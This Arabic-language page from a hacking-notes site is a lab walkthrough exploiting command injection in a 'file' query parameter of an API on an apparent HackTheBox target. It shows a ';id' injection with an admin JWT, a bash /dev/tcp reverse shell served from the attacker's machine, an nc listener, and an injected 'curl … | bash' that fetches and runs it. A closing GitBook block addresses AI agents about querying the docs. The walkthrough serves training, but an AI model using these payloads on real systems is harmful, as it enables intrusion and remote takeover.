> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/api-attack/abus-dapi-rce-pentesting-web.md).

# RCE عبر إساءة استخدام API

## تنفيذ أوامر عن بُعد:

{% hint style="info" %}
يحتوي هذا الرمز على مشكلة أمنية ناتجة عن حقن الأوامر. لأن `الملف` يأتي من معاملات الطلب ويُدرج مباشرةً في أمر طرفية، ويمكن لمستخدم خبيث تعديل `الملف` ليُنفِّذ أوامر أخرى. هذا المسار يشغّل `git log --oneline [file]` على النظام، حيث `[file]` يُقدَّم عبر معامل الاستعلام في الطلب.
{% endhint %}

إليك مثالًا على أمر `curl` يحاول حقن `المعرّف`:

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/logs?file=/etc/passwd;id" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq

```

{% endcode %}

<figure><img src="/files/01bbb423dcb3dfe274a54e7e059088782633f2e2" alt=""><figcaption></figcaption></figure>

#### سننفّذ شلًّا عكسيًا:

1. أنشئ ملفًا `index.html` على جهازنا وأنشئ خادم ويب بالمحتوى أدناه:

```html
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/4444 0>&1

```

2. ثم، اضبط المستمع على المنفذ 4444:

```bash
nc -nlvp 4444

```

نفِّذ حقنًا باستخدام `curl` على خادم الويب الخاص بنا:

{% code overflow="wrap" %}

```bash
curl -s -X GET -G "http://secret.htb:3000/api/logs" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" --data-urlencode "file=/etc/passwd;curl 10.10.14.6 | bash" | jq

```

{% endcode %}

<figure><img src="/files/fec3821374594e53ffea211410f01b2829e2b0bc" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/api-attack/abus-dapi-rce-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
